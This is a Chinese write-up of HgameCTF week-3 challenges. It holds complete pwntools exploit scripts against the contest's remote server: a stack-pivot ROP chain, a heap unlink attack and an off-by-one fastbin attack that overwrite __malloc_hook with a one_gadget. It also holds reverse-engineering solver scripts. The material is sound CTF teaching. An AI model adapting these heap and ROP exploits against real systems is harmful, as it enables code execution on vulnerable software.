这个是Hgame_CTF第三周的题目，难度一周比一周大，而且还涉及了多方面的知识，一整期做下来对或许会有一个比较大的提升。其中有一道逆向，是通过监控本地端口来获取输入的，第一次接触这种输入模式，故借此机会记录一下。
上两周的题目回顾：HgameCTF(week1)-RE,PWN题解析
程序init禁用了59号中断，所以不能getshell
__int64 init()
{
__int64 v0; // ST08_8
v0 = seccomp_init(2147418112LL);
seccomp_rule_add(v0, 0LL, 59LL, 0LL);
seccomp_load(v0);
return 0LL;
}
main函数存在栈溢出，但是最多只能覆盖到EBP和返回地址。前边会读取256个字节进入buf全局变量。可以通过栈迁移把栈区迁移到buf中，然后在buf中构造ROP，调用OPEN函数打开flag然后跳到0x040098F地址读取并输出flag。
#!/usr/bin/python
#coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *
context.log_level="debug"
EXEC_FILE = './ROP'
io = remote('47.103.214.163',20300)
#io = process('./ROP')
elf = ELF(EXEC_FILE)
#padding = 88
read_plt = elf.plt['read']
open_plt = elf.plt['open']
io.recvuntil('?')
#payload = 'flag\x00\x00\x00\x00'#
payload = p64(0x060119F)
payload += p64(0x0400a43)#pop rdi
payload += p64(0x6010e0)#flag
payload += p64(0x0400a41)#pop rsi
payload += p64(0)
payload += p64(0)#pading
payload += p64(open_plt)
payload += p64(0x040098F)#
payload += 'flag\x00\x00\x00\x00'#
io.sendline(payload)#buf 0x006010A0
payload = 'a'*80
payload += p64(0x06010A0)#buf
payload += p64(0x4009D5)
io.sendline(payload)
print io.recv()
io.interactive()
查看edit函数，每次会固定读入256个字节。而每次只能申请小于143字节的堆块，照成堆溢出。
__int64 edit()
{
int v1; // [rsp+Ch] [rbp-4h]
puts("index?");
v1 = readi();
if ( list[v1] )
{
printf("content:");
read_n((__int64)list[v1], 256);
puts("done!");
}
else
{
puts("Invalid index!");
}
return 0LL;
}
check一下文件查看开了哪些保护
可以先申请usorted bin然后释放再申请回来调用show函数输出unsorted bin addr，先减去88再减去main_arena_offset求出libc基地址，不同版本的libc对应着不同版本的main_arena_offset。然后使用unlink使得能改变list中的元素，写入malloc hook地址，然后改变malloc hook为one gadget。
exp
#!/usr/bin/python
#coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *
context.log_level="debug"
#EXEC_FILE = "./ROP_LEV"
REMOTE_LIBC = "./libc-2.23.so"
#main_offset = 3951392
io = remote('47.103.214.163',20301)
#io = process('./Annevi')
#elf = ELF(EXEC_FILE)
libc = ELF(REMOTE_LIBC)
def add(size,content):
io.sendlineafter(':','1')
io.sendlineafter('?',str(size))
io.sendlineafter(':',content)
def edit(idx,content):
io.sendlineafter(':','4')
io.sendlineafter('?',str(idx))
io.sendlineafter(':',content)
def delete(idx):
io.sendlineafter(':','2')
io.sendlineafter('?',str(idx))
def show(idx):
io.sendlineafter(':','3')
io.sendlineafter('?',str(idx))
add(150,'a')
add(150,'b')
delete(0)
add(150,'a'*7)
show(0)#求出libc基地址
io.recvuntil('a'*7)
unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88
print hex(unsorted_bin)
libc_addr = unsorted_bin - 3951392
delete(0)
delete(1)
malloc_hook = libc_addr + libc.sym['__malloc_hook']
x = 0x0602040
fd = x-0x18
bk = x-0x10
payload = p64(0)
payload += p64(0x70)
payload += p64(fd)+p64(bk)
payload += 'a'*(0x70-(8*4))+p64(0x70)
payload += p64(0)*3+p64(0x90)+p64(0xa0)
add(0x90,'a')#0
add(0x90,'b')#1
add(0x90,'c')
edit(0,payload)
delete(1)
payload = p64(0)*3
payload += p64(malloc_hook)
edit(0,payload)
edit(0,p64(libc_addr+0xf1147))
io.sendlineafter(':','1')
io.sendlineafter('?',str(150))
io.interactive()
查看read_n函数，存在off-by-one。能修溢出修改一个字节。
__int64 __fastcall read_n(__int64 a1, int a2)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= a2; ++i )
{
read(0, (void *)(i + a1), 1uLL);
if ( *(_BYTE *)(i + a1) == 10 )
break;
}
return 0LL;
}
可以按照上面一道题的方法，先泄露出libc基地址。然后利用off-by-one配合unsorted bin attack，使得链表中两个元素指向同一块内存，然后利用fastbin attack修改malloc hook变成one gadget。
#!/usr/bin/python
#coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *
context.log_level="debug"
REMOTE_LIBC = "./libc-2.23.so"
#main_offset = 3951392
io = remote('47.103.214.163',20302)
#io = process('./E99')
#elf = ELF(EXEC_FILE)
libc = ELF(REMOTE_LIBC)
def add(size,content):
io.sendlineafter(':','1')
io.sendlineafter('?',str(size))
io.sendlineafter(':',content)
def edit(idx,content):
io.sendlineafter(':','4')
io.sendlineafter('?',str(idx))
io.sendlineafter(':',content)
def edits(idx,content):
io.sendlineafter(':','4')
io.sendlineafter('?',str(idx))
io.recvuntil(':')
io.send(content)
#io.sendlineafter(':',content)
def delete(idx): io.sendlineafter(':','2') io.sendlineafter('?',str(idx))def show(idx):
io.sendlineafter(':','3')
io.sendlineafter('?',str(idx))
add(0x88,'a')
add(0x88,'b')
delete(0)
add(0x88,'a'*7)
show(0)#求出libc基地址
io.recvuntil('a'*7)
unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88
print hex(unsorted_bin)
libc_addr = unsorted_bin - 3951392
delete(0)
delete(1)
add(0x88,'a')#0
add(0x88,'b')#1
add(0x88,'c')#2
add(0x88,'d')#3
add(0x88,'e')#4
add(0x88,'f')#5
delete(0)
edits(3,'a'*0x80+p64(0x240)+p8(0x90))
delete(4)
add(0x88,'a')#0
add(0x68,'a')#4
add(0x10,'a')#6
add(0x68,'a')#7
add(0x10,'a')#8
delete(4)
delete(7)
malloc_hook = libc_addr + libc.sym['__malloc_hook']
edit(1,p64(malloc_hook-35)*2)
add(0x68,'a')#4
add(0x68,'b')#7
print hex(libc_addr+0xf24cb)
raw_input()
add(0x68,'a'*(19-8)+p64(libc_addr+0xf1147)+p64(libc_addr+0xf1147))
io.sendlineafter(':','1')
io.sendlineafter('?',str(100))
io.interactive()
程序加了ollvm混淆，或许可以用deflat.py去除，但是该程序逻辑比较简单，虽然加了混淆，但还是可以看清楚逻辑，所以可以带混淆逆。其实如果实在真的解不了混淆，可以凭经验下断点，或者在全部的真实块下断点动态调试也是可以的，不过比较麻烦。
v12为计数器，table1和flag经过计算和table2对比。
可以写脚本。
table_2 = [0x77,0x25,0x71,0x3F,0xF1,0x46,0xAB,0x4F,0x5F,0x7E,0x87,0x89,0x3E,0x89,0x24,0x17,0x5C,0x19,0xA1,0x36,0xD2,0x3C,0x72,0x51,0x21,0x9C,0xB7,0xA5,0xD0,0x9A,0x1A,0x77,0x06,0x3A]
table_1 = [0x1F,0x41,0x0E,0x4F,0x90,0x38,0x95,0x1C,0x2B,0x1F,0xC0,0xCB,0x03,0xAF,0x6D,0x45,0x5C,0x63,0xBF,0x67,0x83,0x4F,0x16,0x1C,0x3C,0xAF,0xAF,0x75,0x9D,0xBA,0x2C,0x1C,0x43,0x26]
flag = ""
for i in range(34):
for q in range(20,127):
if (table_2[i] == (~q & (table_1[i] + i) | ~(table_1[i] + i) & q)):
flag += chr(q)
print flag
程序为Go写的linux下的程序。符号表没去，逆起来比较简单。
输入判断是否为9位。
fmt_Fscanln(
(__int64)a1,
a2,
(__int64)&go_itab__os_File_io_Reader,
(__int64)&v82,
v9,
v10,
(__int64)&go_itab__os_File_io_Reader,
os_Stdin);
if ( v81[1] != 9 )// flag长度为9
{
*(_QWORD *)&v88 = &unk_517D80;
*((_QWORD *)&v88 + 1) = &off_573EE0;
fmt_Fprintln(
(__int64)a1,
a2,
(__int64)&go_itab__os_File_io_Writer,
(__int64)&v88,
v11,
v12,
(__int64)&go_itab__os_File_io_Writer,
os_Stdout);
os_Exit((__int64)a1);
}
然后进入sha1加密后对比。由于没有别的信息，有点难猜测9位是啥。
v80 = v62;
*(_QWORD *)v62 = 0xEFCDAB8967452301LL;
*(_QWORD *)(v62 + 8) = 0x1032547698BADCFELL;
*(_DWORD *)(v62 + 16) = 0xC3D2E1F0;
*(_OWORD *)(v62 + 88) = 0LL;
v13 = *v81;
runtime_stringtoslicebyte((__int64)a1, a2, v81[1], (__int64)v81, v14, v15);
*(_QWORD *)&v16 = v80;
*((_QWORD *)&v16 + 1) = 1LL;
crypto_sha1___digest__Write((__int64)a1, a2, 1LL, 1LL, v17, v16);
v64 = 0LL;
crypto_sha1___digest__Sum((__int64)a1, a2, v18, v19, v20, v21, v80);
v76 = 1LL;
runtime_newobject();
v79 = 0LL;
unk_0 = 0x532A878B04894333LL;
unk_4 = xmmword_5514B0;
runtime_convTslice((__int64)a1, a2, v22);
v78 = 0LL >> 63;
runtime_convTslice((__int64)a1, a2, v23);
*(_QWORD *)&v64 = &unk_515C00;
reflect_DeepEqual((__int64)a1, a2, v24, v78, v25);
v28 = v81;
v29 = v81[1];
v68 = v81[1];
v30 = *v81;
v77 = *v81;
cout = 0LL;
后来发现这9位和:2333拼接，进入net_Listen函数。
flag___FlagSet__Parse((__int64)a1, a2, qword_647088, os_Args, *(__int128 *)&v35);
runtime_concatstring3(
(__int64)a1,
a2,
v72[1],
v74[1],
v37,
v38,
0,
*v74,
v74[1],
(unsigned __int64)":<=?CLMNPSUZ[\n\t",
1,
*v72,
v72[1]);
*(_QWORD *)&v39 = &unk_54E794;
*((_QWORD *)&v39 + 1) = 3LL;
net_Listen((__int64)a1, a2, (__int64)&unk_54E794, v66, v40, v41, v39, v66, v67);
这9位可能是个ip地址，2333是端口。猜测127.0.0.1和localhost，发现是localhost。然后运行net_Listen函数监听本地端口2333数据。可以使用telnet往本机端口发送数据。
当接收打数据后，程序会进入main_handleRequest函数，使用des加密监听到的数据对比，密钥为localhost。
直接解密得到flag
先通过ida的交叉调用定位到sub_1400012E0函数。函数先读入flag，判断是不是40字节。
__int64 sub_1400012E0()
{
__int64 v0; // rax
char v2; // [rsp+28h] [rbp-30h]
sub_140001C10(&v2);
sub_1400015D0(std::cin, &v2);
if ( sub_1400024A0() == 40 )
{
v0 = sub_1400023D0((__int64)&v2);
sub_140001270(v0);
}
sub_140001E30((__int64)&v2);
return 0i64;
}
进入到sub_140001270函数
__int64 __fastcall sub_140001270(__int64 a1)
{
__int64 v1; // rdi
int v2; // ebx
int v3; // eax
__int64 result; // rax
v1 = a1;
v2 = sub_1400010C0(0, (unsigned __int8 *)a1, 0x14ui64);
v3 = sub_1400010C0(0, (unsigned __int8 *)(v1 + 20), 0x14ui64);
if ( v2 != 0x18257154 || v3 != 2058429201 )
result = sub_140001030(0);
else
result = sub_140001030(1);
return result;
}
flag分成两部分进入sub_1400010C0函数。
__int64 __fastcall sub_1400010C0(int a1, unsigned __int8 *a2, unsigned __int64 a3)
{
int v3; // ebx
unsigned __int64 v4; // rbp
unsigned __int8 *v5; // r14
unsigned int v6; // er12
unsigned int *v7; // r15
signed int v8; // edi
unsigned int *v9; // rsi
unsigned int v10; // edx
unsigned int v11; // ecx
unsigned int v12; // edx
unsigned int v13; // ecx
unsigned int v14; // edx
unsigned int v15; // ecx
unsigned int v16; // edx
unsigned int v17; // ebx
unsigned __int8 *v18; // rdx
__int64 v19; // rax
unsigned int v21; // [rsp+50h] [rbp+8h]
v3 = a1;
v4 = a3;
v5 = a2;
v6 = v21;
v7 = (unsigned int *)VirtualAlloc(0i64, 0x4000ui64, 0x3000u, 0x40u);
v8 = 0;
v9 = v7;
do
{
if ( v8 >= 256 )
{
*v9 = v6 ^ *(unsigned int *)((char *)v9 + &unk_140007000 - (_UNKNOWN *)v7 - 1024);
if ( v8 == 4095 )
sub_140001010(v5, sub_140001030, v7 + 256, sub_1400010A0);
}
else
{
v10 = ((unsigned int)v8 >> 1) ^ 0xEDB88320;
if ( !(v8 & 1) )
v10 = (unsigned int)v8 >> 1;
v11 = (v10 >> 1) ^ 0xEDB88320;
if ( !(v10 & 1) )
v11 = v10 >> 1;
v12 = (v11 >> 1) ^ 0xEDB88320;
if ( !(v11 & 1) )
v12 = v11 >> 1;
v13 = (v12 >> 1) ^ 0xEDB88320;
if ( !(v12 & 1) )
v13 = v12 >> 1;
v14 = (v13 >> 1) ^ 0xEDB88320;
if ( !(v13 & 1) )
v14 = v13 >> 1;
v15 = (v14 >> 1) ^ 0xEDB88320;
if ( !(v14 & 1) )
v15 = v14 >> 1;
v16 = (v15 >> 1) ^ 0xEDB88320;
if ( !(v15 & 1) )
v16 = v15 >> 1;
v6 = (v16 >> 1) ^ 0xEDB88320;
if ( !(v16 & 1) )
v6 = v16 >> 1;
*v9 = v6;
}
++v8;
++v9;
}
while ( v8 < 4096 );
v17 = ~v3;
v18 = v5;
if ( v5 > &v5[v4] )
v4 = 0i64;
if ( v4 )
{
do
{
v19 = *v18++;
v17 = (v17 >> 8) ^ v7[v19 ^ (unsigned __int8)v17];
}
while ( v18 - v5 < v4 );
}
return ~v17;
}
看算法生成了表，很像是CRC32算法。但是会进入sub_140001010函数。
里边call r8，并且还会调用一个可以输出正确信息的函数。并且这个函数结束之后，会运行int指令。题目名叫hidden，或许真正有用的信息就隐藏在里边。可以动态调试一下到底调用了哪些函数。
__int64 __fastcall sub_283C8F00400(__int64 a1, __int64 (__fastcall *a2)(_QWORD))
{
signed int j; // [rsp+20h] [rbp-78h]
signed int i; // [rsp+24h] [rbp-74h]
signed int l; // [rsp+28h] [rbp-70h]
signed int k; // [rsp+2Ch] [rbp-6Ch]
unsigned int v7; // [rsp+30h] [rbp-68h]
char v8[38]; // [rsp+38h] [rbp-60h]
char v9; // [rsp+5Eh] [rbp-3Ah]
char *v10; // [rsp+60h] [rbp-38h]
__int64 v11; // [rsp+68h] [rbp-30h]
__int64 v12; // [rsp+70h] [rbp-28h]
__int64 v13; // [rsp+78h] [rbp-20h]
__int64 v14; // [rsp+80h] [rbp-18h]
__int64 v15; // [rsp+88h] [rbp-10h]
for ( i = 0; i < 40; ++i )
v8[i] = *(_BYTE *)(a1 + i);
v10 = &v9;
for ( j = 0; j < 19; ++j )
{
for ( k = 0; k < 2; ++k )
{
v8[j] ^= v8[j + 19];
v8[j] += v10[k];
v8[j + 19] -= 103;
v8[j + 19] ^= v8[j];
}
}
v7 = 1;
for ( l = 0; l < 40; ++l )
{
v11 = 8896099409227384902i64;
v12 = 5221214014029134222i64;
v13 = 5439652918615309179i64;
v14 = -9114877380574607267i64;
v15 = 9035724225678832282i64;
if ( v8[l] != *((char *)&v11 + l) )
{
v7 = 0;
return a2(v7);
}
}
return a2(v7);
}
这估计就是真正处理flag的函数了，a2会通过判断传进去的参数输出正确或者失败。可以写脚本。
flag = [0x46,0x88,0x8F,0x75,0x47,0x4B,0x75,0x7B,0x8E,0x79,0x7F,0x8A,0x7B,0x7A,0x75,0x48,0x7B,0x7B,0x7B,0x4B,0x82,0x87,0x7D,0x4B,0x5D,0x88,0x9B,0xA7,0x50,0x73,0x81,0x81,0x9A,0x72,0xFA,0x57,0x4F,0x57,0x65,0x7D]
for i in range(18,-1,-1):
for q in range(1,-1,-1):
flag[i+19] = (flag[i+19]^flag[i])&0xff
flag[i+19] = (flag[i+19]+103)&0xff
flag[i] = (flag[i]-flag[(q+38)])&0xff
flag[i] = (flag[i]^flag[i+19])&0xff
flags = ""
for i in flag:
flags+=chr(i)
print flags
如果想更多系统的学习CTF，可点击链接进入CTF实验室学习，里面涵盖了6个题目类型系统的学习路径和实操环境。
